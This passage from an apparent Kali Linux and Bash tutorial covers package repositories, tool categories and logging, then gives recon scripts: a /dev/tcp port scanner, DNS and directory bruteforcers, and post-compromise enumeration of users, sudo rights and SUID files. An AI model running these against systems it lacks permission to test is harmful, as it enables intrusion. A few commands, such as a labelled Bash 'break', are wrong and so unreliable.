ssh-keygen -p -f key  # Change passphrase
ssh-keygen -t rsa -b 4096 -f newkey  # Generate new

# Add key to agent
ssh-add -l  # List agent keys
ssh-add ~/.ssh/id_rsa

Chapter 4 — Kali Linux Architecture

4.1 Debian Base and Rolling Release Model

Understanding Kali's underlying architecture helps users effectively maintain and troubleshoot their systems.

4.1.1 Debian Foundation

Kali Linux is built upon Debian's testing branch, providing a stable yet up-to-date foundation:

Debian Branches:

  • Stable: Production-ready, rarely updated
  • Testing: Packages after brief testing, rolling
  • Unstable (Sid): Latest packages, potentially unstable

Why Debian Testing:

  • More current packages than Debian Stable
  • More stable than Debian Unstable
  • Large package repository
  • Strong community support
  • Predictable package management

Debian-Specific Features:

# Debian version information
cat /etc/debian_version
lsb_release -a

# Debian package management
dpkg --print-architecture
apt-cache policy package-name

# Debian-specific directories
/etc/apt/           # APT configuration
/var/lib/dpkg/      # Package database
/usr/share/doc/     # Package documentation

4.1.2 Rolling Release Model

Kali's rolling release model ensures tools are always current:

Advantages:

  • Latest security tools immediately available
  • No major version upgrades needed
  • Continuous security updates
  • New features as soon as they're ready

Update Process:

# Regular updates
apt update
apt full-upgrade -y

# Check for distribution updates
grep -r "VERSION" /etc/os-release

# Kali specific update
kali-update

# Monitor rolling releases
cat /etc/apt/sources.list
# Should contain: deb https://http.kali.org/kali kali-rolling main non-free contrib

Potential Challenges:

  • Package conflicts occasionally
  • Need for regular updates
  • Potential breakage with major changes
  • Requires understanding of package management

4.2 Package Repositories

Kali's repositories are structured to provide security tools while maintaining system stability.

4.2.1 Repository Structure

Default Repositories:

# /etc/apt/sources.list
deb https://http.kali.org/kali kali-rolling main non-free contrib
deb-src https://http.kali.org/kali kali-rolling main non-free contrib

# Additional repositories (use with caution)
deb https://http.kali.org/kali kali-last-snapshot main non-free contrib

Repository Components:

  • main: Officially supported free software
  • non-free: Non-free software (drivers, firmware)
  • contrib: Depends on non-free packages

4.2.2 Mirror Selection

Choosing Mirrors:

# List Kali mirrors
curl https://http.kali.org/README-mirror

# Use mirror selector
apt install -y netselect-apt
netselect-apt kali-rolling

# Manual mirror configuration
# Edit /etc/apt/sources.list
deb https://mirrors.ocf.berkeley.edu/kali kali-rolling main non-free contrib

Mirror Verification:

# Verify mirror integrity
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add -

# Check repository metadata
apt update
apt-cache policy

4.2.3 Repository Management

Adding Custom Repositories:

# Create repository file
echo "deb https://custom.repo/ubuntu focal main" > /etc/apt/sources.list.d/custom.list

# Add GPG key
wget -q -O - https://custom.repo/key.asc | apt-key add -

# Update and install
apt update
apt install custom-package

Repository Priorities (APT Pinning):

# /etc/apt/preferences.d/kali
Package: *
Pin: release o=Kali
Pin-Priority: 1000

# Prevent non-Kali packages
Package: *
Pin: release o=Debian
Pin-Priority: -1

4.3 Metapackages

Kali uses metapackages to group related tools for easy installation.

4.3.1 Available Metapackages

Core Metapackages:

# List available metapackages
apt-cache search kali-linux

# Essential metapackages
kali-linux-core        # Minimal core system
kali-linux-headless    # Server installation
kali-linux-default     # Default desktop tools
kali-linux-large       # Extended toolset
kali-linux-full        # Everything

Specialized Metapackages:

# Category-specific
kali-linux-wireless    # Wireless testing
kali-linux-web         # Web application testing
kali-linux-pwt         # Password cracking
kali-linux-forensic    # Digital forensics
kali-linux-gpu         # GPU tools
kali-linux-arm         # ARM development
kali-linux-nethunter   # NetHunter platform
kali-linux-everything  # All tools

4.3.2 Installing Metapackages

Basic Installation:

# Install specific metapackage
apt install -y kali-linux-wireless

# Install multiple
apt install -y kali-linux-web kali-linux-pwt

# Install all tools (large download)
apt install -y kali-linux-everything

Custom Metapackage Creation:

# Create custom metapackage definition
mkdir mytools
cd mytools

# Create control file
cat << EOF > control
Package: my-pentest-tools
Version: 1.0
Architecture: all
Maintainer: Your Name <email@example.com>
Depends: nmap, wireshark, metasploit-framework, burpsuite
Description: My custom penetration testing tools
EOF

# Build package
dpkg-deb --build . my-pentest-tools.deb

# Install
dpkg -i my-pentest-tools.deb

4.4 Kali Tool Categories

Kali organizes tools according to penetration testing phases and categories.

4.4.1 Main Categories

Information Gathering:

  • Network scanning (nmap, masscan)
  • OSINT tools (theHarvester, maltego)
  • DNS enumeration (dnsrecon, fierce)
  • Web reconnaissance (whatweb, wafw00f)

Vulnerability Analysis:

  • Vulnerability scanners (openvas, nikto)
  • Fuzzing tools (wfuzz, sfuzz)
  • Stress testing (dhcpig, slowhttptest)

Web Applications:

  • Web proxies (burpsuite, zaproxy)
  • SQL injection (sqlmap, sqlninja)
  • CMS testing (wpscan, joomscan)

Database Assessment:

  • SQL assessment (sqlmap, sqldict)
  • Database scanners (bbqsql, jsql)

Password Attacks:

  • Online attacks (hydra, medusa)
  • Offline cracking (john, hashcat)
  • Wordlists (rockyou, crunch)

Wireless Attacks:

  • 802.11 (aircrack-ng, kismet)
  • Bluetooth (blueranger, redfang)
  • RFID (libnfc, mfoc)

Reverse Engineering:

  • Debuggers (gdb, edb)
  • Disassemblers (radare2, ghidra)
  • Decompilers (jadx, apktool)

Exploitation Tools:

  • Frameworks (metasploit, exploitdb)
  • Shellcode (msfvenom, shellter)
  • Social engineering (setoolkit)

Sniffing & Spoofing:

  • Packet capture (wireshark, tcpdump)
  • MITM tools (ettercap, bettercap)
  • Protocol analysis (scapy, dsniff)

Post Exploitation:

  • Backdoors (weevely, php-backdoors)
  • Tunneling (proxychains, sshuttle)
  • Privilege escalation (linenum, winpeas)

Forensics:

  • Imaging (dc3dd, guymager)
  • Analysis (autopsy, sleuthkit)
  • Memory (volatility, rekall)

Reporting Tools:

  • Documentation (keepnote, cherrytree)
  • Report generation (dradis, magictree)

4.4.2 Tool Management

Finding Tools:

# Search by category
apt-cache search kali | grep wireless
apt-cache search penetration testing

# Tool locations
which nmap
whereis metasploit
dpkg -L metasploit-framework

Tool Documentation:

# Man pages
man nmap
nmap -h
nmap --help

# Tool documentation
ls /usr/share/doc/nmap/
ls /usr/share/metasploit-framework/documentation/

4.5 Kernel Customizations

Kali includes specific kernel modifications for penetration testing.

4.5.1 Wireless Injection Support

Kernel Patches:

# Check wireless support
iw list | grep "Supported interface modes"
airmon-ng

# Kernel modules
lsmod | grep -E "rtl|ath|mac80211"
modinfo ath9k_htc

Custom Kernel Features:

  • Packet injection patches
  • Monitor mode support
  • Promiscuous mode
  • Raw socket access

4.5.2 Kernel Configuration

Current Kernel Info:

# Kernel version
uname -a
cat /proc/version

# Kernel modules
ls /lib/modules/$(uname -r)/
modprobe -l

Kernel Parameters:

# View parameters
sysctl -a
cat /etc/sysctl.conf

# Modify runtime parameters
sysctl -w net.ipv4.ip_forward=1
echo 1 > /proc/sys/net/ipv4/ip_forward

# Persistent configuration
echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf

4.5.3 Custom Kernel Compilation

When to Compile Custom Kernel:

  • Specific hardware support
  • Performance optimization
  • Research requirements
  • Embedded systems

Basic Compilation Process:

# Install build dependencies
apt install -y build-essential linux-source bc kmod cpio flex libncurses5-dev libelf-dev libssl-dev

# Get kernel source
apt install linux-source
cd /usr/src
tar xf linux-source-*.tar.xz

# Configure kernel
make menuconfig
# Enable/disable features as needed

# Compile
make -j$(nproc)
make modules_install
make install

4.6 Security Policies

Kali implements specific security policies appropriate for penetration testing.

4.6.1 Default Security Posture

Root by Default:

# Check current user
whoami
# Returns: root

# Security implications
- Full system access
- No sudo required
- Increased risk if misused
- Not for daily use

Disabled Services:

# Check running services
systemctl list-units --type=service --state=running

# Common disabled services
- SSH (enabled optionally)
- Web servers
- Database servers
- Network file sharing

4.6.2 Security Hardening Features

Network Security:

# Default firewall rules
iptables -L
nft list ruleset

# TCP/IP stack hardening
cat /etc/sysctl.d/99-kali.conf
# net.ipv4.tcp_syncookies=1
# net.ipv4.conf.all.rp_filter=1
# net.ipv4.conf.all.accept_source_route=0

File System Security:

# Mount options
mount | grep -E "/(tmp|var/tmp)"
# tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)

# Protected directories
ls -ld /tmp
ls -ld /var/tmp

4.7 System Logging & Monitoring

Proper logging is essential for both security monitoring and forensic analysis.

4.7.1 Logging Architecture

Log Files:

# System logs
/var/log/syslog      # General system log
/var/log/auth.log    # Authentication log
/var/log/kern.log    # Kernel log
/var/log/dpkg.log    # Package management
/var/log/apt/        # APT logs
/var/log/nginx/      # Web server logs
/var/log/mysql/      # Database logs

Log Rotation:

# Logrotate configuration
cat /etc/logrotate.conf
ls /etc/logrotate.d/

# Manual rotation
logrotate -f /etc/logrotate.conf

4.7.2 Monitoring Tools

Real-time Monitoring:

# Follow logs
tail -f /var/log/syslog
journalctl -f

# System monitoring
htop
iotop
nethogs

Log Analysis:

# Search logs
grep -r "Failed password" /var/log/
journalctl -u ssh --since "1 hour ago"

# Log analysis tools
apt install -y lnav
lnav /var/log/

# Auditd for detailed auditing
apt install -y auditd
auditctl -w /etc/passwd -p wa -k passwd_changes
ausearch -k passwd_changes

4.7.3 Remote Logging

Syslog-ng Configuration:

# Install syslog-ng
apt install -y syslog-ng

# Configure client
cat >> /etc/syslog-ng/syslog-ng.conf << EOF
destination d_remote {
    syslog("192.168.1.100" port(514));
};
log {
    source(s_src);
    destination(d_remote);
};
EOF

Log Security:

# Protect logs
chmod 640 /var/log/auth.log
chmod 750 /var/log

# Log integrity
apt install -y aide
aideinit
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
aide --check

📘 PART II — CORE LINUX & SHELL MASTERY

Chapter 5 — Bash and Shell Scripting

5.1 Shell Fundamentals

The Bash shell is the primary interface for interacting with Kali Linux and automating security tasks.

5.1.1 Shell Types and Startup

Shell Types:

# Interactive shell
bash
zsh
sh

# Login vs non-login shells
# Login shell: Reads ~/.profile, ~/.bash_profile
# Non-login: Reads ~/.bashrc

# Check shell type
echo $0
shopt -q login_shell && echo "Login shell" || echo "Not login shell"

Startup Files:

# System-wide configuration
/etc/profile
/etc/bash.bashrc
/etc/profile.d/*

# User-specific
~/.bash_profile
~/.bash_login
~/.profile
~/.bashrc
~/.bash_logout

# Order of execution
1. /etc/profile
2. ~/.bash_profile (or ~/.profile)
3. ~/.bashrc (if interactive)

5.1.2 Shell Environment

Environment Variables:

# Common variables
$HOME          # User home directory
$PATH          # Executable search path
$PWD           # Current working directory
$USER          # Current username
$SHELL         # Current shell
$TERM          # Terminal type
$LANG          # Language settings
$PS1           # Prompt string

# View all environment variables
env
printenv
set

# Set variables
export EDITOR=vim
export PATH=$PATH:/custom/path
MYVAR="value"  # Local variable

Shell Options:

# Set shell options
set -o option    # Enable
set +o option    # Disable

# Useful options
set -u           # Error on undefined variables
set -e           # Exit on error
set -x           # Print commands before execution
set -o pipefail  # Pipeline returns last error

# Check options
echo $-          # Current options
set -o           # List all options

5.2 Variables & Environment

5.2.1 Variable Types

Variable Declaration:

# Simple assignment
name="John"
number=42
array=(one two three)

# Read-only variables
readonly PI=3.14159

# Variable attributes
declare -i intvar=10     # Integer
declare -r readonlyvar    # Read-only
declare -l lowercase="ABC" # Auto lowercase
declare -u uppercase="abc" # Auto uppercase
declare -a arrayvar        # Array
declare -A assoc_array     # Associative array

Variable Expansion:

# Basic expansion
echo $name
echo ${name}

# Default values
echo ${var:-default}      # Use default if unset
echo ${var:=default}      # Set default if unset
echo ${var:?error}        # Error if unset
echo ${var:+value}        # Use value if set

# String manipulation
str="Hello World"
echo ${#str}               # Length: 11
echo ${str:6}              # Substring from pos 6: World
echo ${str:6:3}            # Substring length 3: Wor
echo ${str#Hello}          # Remove prefix: World
echo ${str%World}          # Remove suffix: Hello
echo ${str/World/There}    # Replace: Hello There

Indirect Expansion:

# Indirect variables
varname="PATH"
echo ${!varname}           # Expands to $PATH

# Dynamic variable names
for i in {1..3}; do
    declare var$i="value$i"
done
echo $var1 $var2 $var3

5.2.2 Special Variables

Positional Parameters:

#!/bin/bash
echo "Script name: $0"
echo "First arg: $1"
echo "Second arg: $2"
echo "All args: $@"
echo "Args count: $#"
echo "All args as string: $*"

# Shift parameters
shift
echo "After shift, first arg: $1"

Process Status:

$?    # Exit status of last command
$$    # Current shell PID
$!    # PID of last background job
$-    # Current shell options
$_    # Last argument of previous command

5.3 Loops & Conditionals

5.3.1 Conditional Statements

if-then-elif-else:

#!/bin/bash

# Basic if
if [ condition ]; then
    commands
fi

# if-else
if [ condition ]; then
    commands
else
    commands
fi

# if-elif-else
if [ condition1 ]; then
    commands
elif [ condition2 ]; then
    commands
else
    commands
fi

# Example
if [ -f "/etc/passwd" ]; then
    echo "Password file exists"
elif [ -f "/etc/master.passwd" ]; then
    echo "Master password file exists"
else
    echo "No password file found"
fi

case Statement:

#!/bin/bash

case "$1" in
    start)
        echo "Starting service..."
        ;;
    stop)
        echo "Stopping service..."
        ;;
    restart|reload)
        echo "Restarting service..."
        ;;
    *)
        echo "Usage: $0 {start|stop|restart}"
        exit 1
        ;;
esac

# Pattern matching
case "$filename" in
    *.txt)
        echo "Text file"
        ;;
    *.jpg|*.png|*.gif)
        echo "Image file"
        ;;
    *)
        echo "Unknown type"
        ;;
esac

5.3.2 Loops

for Loops:

# Traditional for
for i in 1 2 3 4 5; do
    echo "Number: $i"
done

# Range
for i in {1..10}; do
    echo $i
done

# Step range
for i in {0..10..2}; do
    echo $i  # 0,2,4,6,8,10
done

# C-style for
for ((i=0; i<10; i++)); do
    echo $i
done

# Loop over files
for file in /etc/*.conf; do
    echo "Processing: $file"
    wc -l "$file"
done

# Loop over array
fruits=("apple" "banana" "orange")
for fruit in "${fruits[@]}"; do
    echo "Fruit: $fruit"
done

# Loop with command substitution
for user in $(cut -d: -f1 /etc/passwd); do
    echo "User: $user"
done

while Loops:

# Basic while
count=1
while [ $count -le 10 ]; do
    echo $count
    ((count++))
done

# Reading files
while IFS= read -r line; do
    echo "Line: $line"
done < /etc/passwd

# Reading command output
while read -r ip; do
    ping -c 1 "$ip" > /dev/null && echo "$ip is up"
done < ips.txt

# Infinite loop
while true; do
    echo "Press Ctrl+C to exit"
    sleep 1
done

# Until loop (opposite of while)
count=1
until [ $count -gt 10 ]; do
    echo $count
    ((count++))
done

Loop Control:

# break - exit loop
for i in {1..10}; do
    if [ $i -eq 5 ]; then
        break
    fi
    echo $i
done

# continue - skip iteration
for i in {1..10}; do
    if [ $((i % 2)) -eq 0 ]; then
        continue
    fi
    echo $i  # Only odd numbers
done

# break with label
outerloop: for i in {1..3}; do
    for j in {1..3}; do
        if [ $i -eq 2 -a $j -eq 2 ]; then
            break outerloop
        fi
        echo "$i,$j"
    done
done

5.4 Functions

5.4.1 Function Definition

Function Syntax:

# Method 1
function_name() {
    commands
    [return value]
}

# Method 2
function function_name {
    commands
    [return value]
}

# Example
greet() {
    echo "Hello, $1!"
    return 0
}

# Call function
greet "John"

Function Arguments:

#!/bin/bash

print_args() {
    echo "Function name: $0"
    echo "First arg: $1"
    echo "All args: $@"
    echo "Number of args: $#"
}

print_args arg1 arg2 arg3

# Function with optional arguments
connect() {
    local host=${1:-localhost}
    local port=${2:-80}
    echo "Connecting to $host:$port"
}

5.4.2 Local Variables

Variable Scope:

#!/bin/bash

global_var="I'm global"

myfunc() {
    local local_var="I'm local"
    global_var="Modified global"
    echo "Inside function: $local_var"
    echo "Inside function: $global_var"
}

myfunc
echo "Outside: $global_var"
echo "Outside: $local_var"  # Empty (not accessible)

Return Values:

#!/bin/bash

# Return status (0-255)
is_root() {
    if [ $EUID -eq 0 ]; then
        return 0  # Success
    else
        return 1  # Failure
    fi
}

if is_root; then
    echo "Running as root"
else
    echo "Not running as root"
fi

# Return string via echo
get_user_info() {
    local user=$1
    local home=$(grep "^$user:" /etc/passwd | cut -d: -f6)
    echo "$home"
}

user_home=$(get_user_info "john")
echo "Home directory: $user_home"

5.4.3 Advanced Functions

Functions with Options:

#!/bin/bash

usage() {
    echo "Usage: $0 [-v] [-f file] [-h]"
    echo "  -v    Verbose mode"
    echo "  -f    Input file"
    echo "  -h    Show help"
}

process_file() {
    local verbose=0
    local file=""
    
    while getopts "vf:h" opt; do
        case $opt in
            v) verbose=1 ;;
            f) file="$OPTARG" ;;
            h) usage; return 0 ;;
            *) usage; return 1 ;;
        esac
    done
    
    if [ -z "$file" ]; then
        echo "Error: No file specified"
        return 1
    fi
    
    if [ $verbose -eq 1 ]; then
        echo "Processing $file verbosely"
    fi
    
    # Process file
    cat "$file"
}

process_file -v -f /etc/passwd

Recursive Functions:

#!/bin/bash

# Factorial
factorial() {
    if [ $1 -le 1 ]; then
        echo 1
    else
        local prev=$(factorial $(($1 - 1)))
        echo $(($1 * prev))
    fi
}

result=$(factorial 5)
echo "5! = $result"

# Directory tree traversal
list_files() {
    local dir=$1
    local prefix=$2
    
    for item in "$dir"/*; do
        if [ -f "$item" ]; then
            echo "${prefix}File: $(basename "$item")"
        elif [ -d "$item" ]; then
            echo "${prefix}Dir: $(basename "$item")"
            list_files "$item" "$prefix  "
        fi
    done
}

list_files "/etc" ""

5.5 Error Handling

5.5.1 Exit Status

Understanding Exit Codes:

# Check exit status
command
echo $?  # 0 = success, 1-255 = error

# Common exit codes
0   # Success
1   # General error
2   # Misuse of shell builtins
126 # Command cannot execute
127 # Command not found
128 # Invalid exit argument
130 # Terminated by Ctrl+C
137 # Killed (kill -9)

Using Exit Status:

#!/bin/bash

# Logical operators
command1 && command2  # command2 runs if command1 succeeds
command1 || command2  # command2 runs if command1 fails

# Example
ping -c 1 google.com > /dev/null && echo "Internet up" || echo "Internet down"

# Check multiple commands
if command1 && command2; then
    echo "Both succeeded"
fi

if command1 || command2; then
    echo "At least one succeeded"
fi

5.5.2 Error Handling Techniques

set -e (Exit on Error):

#!/bin/bash
set -e  # Exit on any error

echo "Starting script"
ls /nonexistent  # This will cause script to exit
echo "This won't print"  # Never reached

trap for Cleanup:

#!/bin/bash

cleanup() {
    echo "Cleaning up..."
    rm -f /tmp/tempfile.$$
    exit ${1:-0}
}

# Trap signals
trap cleanup EXIT     # Run on script exit
trap cleanup INT      # Run on Ctrl+C
trap cleanup TERM     # Run on termination
trap 'echo "Interrupted"; exit 1' INT

# Create temp file
echo "Working..." > /tmp/tempfile.$$

# Simulate work
sleep 30

Custom Error Handler:

#!/bin/bash

error_exit() {
    echo "Error: $1" >&2
    exit 1
}

# Use
file="/nonexistent"
[ -f "$file" ] || error_exit "File $file not found"

# With line number
error_exit() {
    echo "Error (line $2): $1" >&2
    exit 1
}

[ -f "$file" ] || error_exit "File not found" $LINENO

5.5.3 Debugging Scripts

Debugging Options:

#!/bin/bash
set -x  # Print commands and arguments
set -v  # Print shell input lines
set -n  # Check syntax without executing

# Enable selectively
set -x  # Start debugging
# commands to debug
set +x  # Stop debugging

# Debug function
debug() {
    echo "DEBUG: $*" >&2
}

debug "Processing file: $file"

Bash Debugger:

# Install bashdb
apt install -y bashdb

# Run script with debugger
bashdb script.sh

# Debugger commands
n   # Next line
s   # Step into
c   # Continue
p   # Print variable
q   # Quit

5.6 Automating Recon

5.6.1 Network Scanning Automation

Basic Port Scanner:

#!/bin/bash

# Simple port scanner
scan_ports() {
    local host=$1
    local start_port=${2:-1}
    local end_port=${3:-1024}
    
    echo "Scanning $host from port $start_port to $end_port"
    
    for port in $(seq $start_port $end_port); do
        (echo >/dev/tcp/$host/$port) >/dev/null 2>&1 && \
            echo "Port $port is open"
    done
}

scan_ports scanme.nmap.org 1 1000

Enhanced Scanner with Timeout:

#!/bin/bash

scan_ports() {
    local host=$1
    local start=$2
    local end=$3
    local timeout=${4:-1}
    
    echo "Scanning $host ($start-$end) with timeout ${timeout}s"
    
    for port in $(seq $start $end); do
        timeout $timeout bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && \
            echo "Port $port is open"
    done
}

# Scan common ports
scan_ports scanme.nmap.org 1 1000

Parallel Scanning:

#!/bin/bash

parallel_scan() {
    local host=$1
    local ports=$2
    local max_procs=${3:-10}
    
    echo "Parallel scanning $host"
    
    scan_port() {
        local port=$1
        timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && \
            echo "Port $port is open"
    }
    
    for port in $ports; do
        scan_port $port &
        # Limit concurrent processes
        while [ $(jobs -r | wc -l) -ge $max_procs ]; do
            sleep 0.1
        done
    done
    
    wait  # Wait for all background jobs
}

parallel_scan "scanme.nmap.org" "$(seq 1 1000)" 20

5.6.2 Subdomain Discovery

Subdomain Enumeration:

#!/bin/bash

enum_subdomains() {
    local domain=$1
    local wordlist=${2:-/usr/share/wordlists/subdomains.txt}
    
    if [ ! -f "$wordlist" ]; then
        echo "Wordlist not found: $wordlist"
        return 1
    fi
    
    while read -r subdomain; do
        host="$subdomain.$domain"
        if host "$host" >/dev/null 2>&1; then
            echo "Found: $host"
        fi
    done < "$wordlist"
}

# Create simple wordlist
cat > /tmp/subs.txt << EOF
www
mail
ftp
admin
blog
dev
test
staging
api
EOF

enum_subdomains example.com /tmp/subs.txt

DNS Bruteforce with Validation:

#!/bin/bash

dns_bruteforce() {
    local domain=$1
    local wordlist=$2
    local resolver=${3:-8.8.8.8}
    
    while read -r sub; do
        # Use dig for DNS resolution
        result=$(dig @$resolver "$sub.$domain" +short)
        if [ -n "$result" ]; then
            echo "$sub.$domain -> $result"
        fi
    done < "$wordlist"
}

# Use with progress indicator
dns_bruteforce_progress() {
    local domain=$1
    local wordlist=$2
    local total=$(wc -l < "$wordlist")
    local count=0
    
    while read -r sub; do
        ((count++))
        echo -ne "Progress: $count/$total\r" >&2
        
        if host "$sub.$domain" >/dev/null 2>&1; then
            echo "$sub.$domain"
        fi
    done < "$wordlist"
    echo >&2  # Newline after progress
}

5.6.3 Web Recon Automation

HTTP Header Grabber:

#!/bin/bash

get_headers() {
    local url=$1
    curl -s -I -L "$url" || wget -S --spider "$url" 2>&1
}

analyze_headers() {
    local url=$1
    local headers=$(get_headers "$url")
    
    echo "=== Headers for $url ==="
    echo "$headers"
    echo
    
    # Check security headers
    echo "Security Header Analysis:"
    echo "$headers" | grep -i "server:" && echo "  ✓ Server header found"
    echo "$headers" | grep -i "x-powered-by:" && echo "  ⚠ X-Powered-By exposed"
    echo "$headers" | grep -i "x-frame-options:" || echo "  ⚠ Missing X-Frame-Options"
    echo "$headers" | grep -i "x-content-type-options:" || echo "  ⚠ Missing X-Content-Type-Options"
    echo "$headers" | grep -i "content-security-policy:" || echo "  ⚠ Missing CSP"
}

analyze_headers "https://example.com"

Directory Bruteforcer:

#!/bin/bash

dir_bruteforce() {
    local url=$1
    local wordlist=$2
    local ext=${3:-""}
    local threads=${4:-10}
    
    # Ensure URL ends with /
    [[ "$url" != */ ]] && url="$url/"
    
    scan_dir() {
        local dir=$1
        local full_url="${url}${dir}${ext}"
        local status=$(curl -s -o /dev/null -w "%{http_code}" "$full_url")
        
        case $status in
            200) echo "[200] FOUND: $full_url" ;;
            301|302) echo "[$status] REDIRECT: $full_url" ;;
            403) echo "[403] FORBIDDEN: $full_url" ;;
            401) echo "[401] AUTH REQUIRED: $full_url" ;;
        esac
    }
    
    export -f scan_dir
    export url ext
    
    cat "$wordlist" | xargs -P $threads -I {} bash -c 'scan_dir "$@"' _ {}
}

# Usage
dir_bruteforce "http://example.com" /usr/share/wordlists/dirb/common.txt
dir_bruteforce "http://example.com" /usr/share/wordlists/dirb/common.txt ".php"

5.7 Writing Custom Enumeration Scripts

5.7.1 System Enumeration

Linux Enumeration Script:

#!/bin/bash

# Linux system enumeration script

echo "=== System Enumeration Report ==="
echo "Date: $(date)"
echo "Hostname: $(hostname)"
echo

# System info
echo "=== System Information ==="
uname -a
echo "Kernel: $(uname -r)"
echo "Architecture: $(uname -m)"
echo "OS: $(cat /etc/os-release | head -1)"
echo

# User info
echo "=== User Information ==="
echo "Current user: $(whoami)"
echo "UID/GID: $(id)"
echo "Logged in users:"
who
echo

echo "=== User Accounts ==="
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1,3,7
echo

echo "=== Sudo Access ==="
sudo -l 2>/dev/null || echo "No sudo access"
echo

# Network info
echo "=== Network Information ==="
echo "IP Addresses:"
ip addr show | grep -E "inet " | awk '{print $2}'
echo

echo "Open Ports:"
netstat -tulpn 2>/dev/null | grep LISTEN
echo

echo "Routing Table:"
route -n
echo

echo "DNS Servers:"
cat /etc/resolv.conf | grep nameserver
echo

# Process info
echo "=== Running Processes ==="
ps auxf --forest | head -20
echo "... (truncated)"
echo

# File system
echo "=== File System Information ==="
echo "Mounts:"
mount | column -t
echo

echo "SUID/SGID Files:"
find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -20
echo "... (truncated)"
echo

echo "World-writable files:"
find / -type f -perm -0002 -ls 2>/dev/null | head -10
echo

# Installed software
echo "=== Installed Software ==="
echo "Package count: $(dpkg -l | wc -l)"
echo "Top packages by size:"
dpkg-query -W --showformat='${Installed-Size}\t${Package}\n' | sort -rn | head -10
echo

# Cron jobs
echo "=== Cron Jobs ==="
echo "User crontabs:"
ls -la /var/spool/cron/crontabs/ 2>/dev/null || echo "None found"
echo

echo "System crontabs:"
ls -la /etc/cron* 2>/dev/null
echo

# Security checks
echo "=== Security Checks ==="
echo "Password aging info:"
chage -l $(whoami) 2>/dev/null || echo "Not available"
echo

echo "SSH configuration:"
grep -E "PermitRootLogin|PasswordAuthentication" /etc/ssh/sshd_config 2>/dev/null
echo

echo "Firewall status:"
if command -v ufw >/dev/null; then
    ufw status
elif command -v iptables >/dev/null; then
    iptables -L -n | head -10
fi
echo

echo "=== Enumeration Complete ==="

Windows Enumeration Script (Bash for WSL):

#!/bin/bash

# Windows enumeration script for WSL

echo "=== Windows System Enumeration ==="
echo "Date: $(date)"
echo

# System info
echo "=== System Information ==="
cmd.exe /c systeminfo | grep -E "OS Name|OS Version|System Type|Total Physical Memory"
echo

# User info
echo "=== User Information ==="
cmd.exe /c whoami
echo

echo "Local Users:"
cmd.exe /c net user
echo

echo "Local Groups:"
cmd.exe /c net localgroup
echo

echo "Administrators:"
cmd.exe /c net localgroup Administrators
echo

# Network info
echo "=== Network Information ==="
echo "IP Configuration:"
cmd.exe /c ipconfig /all | grep -E "IPv4|Subnet Mask|Default Gateway"
echo

echo "Active Connections:"
cmd.exe /c netstat -ano | grep ESTABLISHED | head -10
echo

# Process info
echo "=== Running Processes ==="
cmd.exe /c tasklist | head -20
echo "... (truncated)"
echo

# Installed software
echo "=== Installed Software ==="
cmd.exe /c wmic product get name,version | head -20
echo "... (truncated)"
echo

# Security
echo "=== Security Settings ==="
echo "Firewall Status:"
cmd.exe /c netsh advfirewall show allprofiles | grep State
echo

echo "Windows Defender:"
cmd.exe /c powershell -Command "Get-MpComputerStatus" | grep -E "RealTimeProtectionEnabled|AntivirusEnabled"
echo

5.7.2 Network Enumeration Script

Comprehensive Network Scanner:

#!/bin/bash

# Network enumeration script

# Configuration
TIMEOUT=1
THREADS=20
OUTPUT_DIR="scan_results_$(date +%Y%m%d_%H%M%S)"

# Create output directory
mkdir -p "$OUTPUT_DIR"

log() {
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] $*" | tee -a "$OUTPUT_DIR/scan.log"
}

# Network discovery
discover_hosts() {
    local network=$1
    local output="$OUTPUT_DIR/hosts.txt"
    
    log "Discovering hosts in $network"
    
    # Convert CIDR to IP range
    local base=$(echo $network | cut -d/ -f1)
    local mask=$(echo $network | cut -d/ -f2)
    
    # Simple /24 handling
    if [ "$mask" = "24" ]; then
        local subnet=$(echo $base | cut -d. -f1-3)
        
        for i in {1..254}; do
            (
                if ping -c 1 -W $TIMEOUT "$subnet.$i" >/dev/null 2>&1; then
                    echo "$subnet.$i" >> "$output"
                    log "Found host: $subnet.$i"
                fi
            ) &
            
            # Limit threads
            while [ $(jobs -r | wc -l) -ge $THREADS ]; do
                sleep 0.1
            done
        done
        wait
    fi
    
    log "Discovered $(wc -l < "$output") hosts"
}

# Port scanning
scan_ports() {
    local host=$1
    local output="$OUTPUT_DIR/${host}_ports.txt"
    
    log "Scanning ports on $host"
    
    # Common ports
    local ports="21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080"
    
    IFS=',' read -ra PORT_ARRAY <<< "$ports"
    
    for port in "${PORT_ARRAY[@]}"; do
        (
            if timeout $TIMEOUT bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null; then
                echo "$port" >> "$output"
                log "  Port $port open on $host"
                
                # Grab banner
                banner=$(timeout 2 bash -c "echo -e 'HEAD / HTTP/1.0\r\n\r\n' | nc $host $port" 2>/dev/null | head -1)
                if [ -n "$banner" ]; then
                    echo "  Banner: $banner" >> "${output%.txt}_banners.txt"
                fi
            fi
        ) &
        
        # Limit threads
        while [ $(jobs -r | wc -l) -ge $THREADS ]; do
            sleep 0.1
        done
    done
    wait
}

# Service detection
detect_services() {
    local host=$1
    local port=$2
    local output="$OUTPUT_DIR/${host}_services.txt"
    
    case $port in
        21)
            echo "FTP" >> "$output"
            timeout 2 ftp -n "$host" << EOF 2>/dev/null | grep "220" >> "${output%.txt}_details.txt"
quit
EOF
            ;;
        22)
            echo "SSH" >> "$output"
            timeout 2 nc "$host" 22 <<< "SSH-2.0-test" 2>/dev/null >> "${output%.txt}_details.txt"
            ;;
        80|443|8080)
            echo "HTTP/HTTPS" >> "$output"
            if [ $port -eq 443 ] || [ $port -eq 8443 ]; then
                proto="https"
            else
                proto="http"
            fi
            curl -s -I "${proto}://$host:$port" 2>/dev/null | head -10 >> "${output%.txt}_http_headers.txt"
            ;;
        3306)
            echo "MySQL" >> "$output"
            ;;
        3389)
            echo "RDP" >> "$output"
            ;;
    esac
}

# OS fingerprinting
fingerprint_os() {
    local host=$1
    local output="$OUTPUT_DIR/${host}_os.txt"
    
    log "Fingerprinting OS for $host"
    
    # TTL based detection
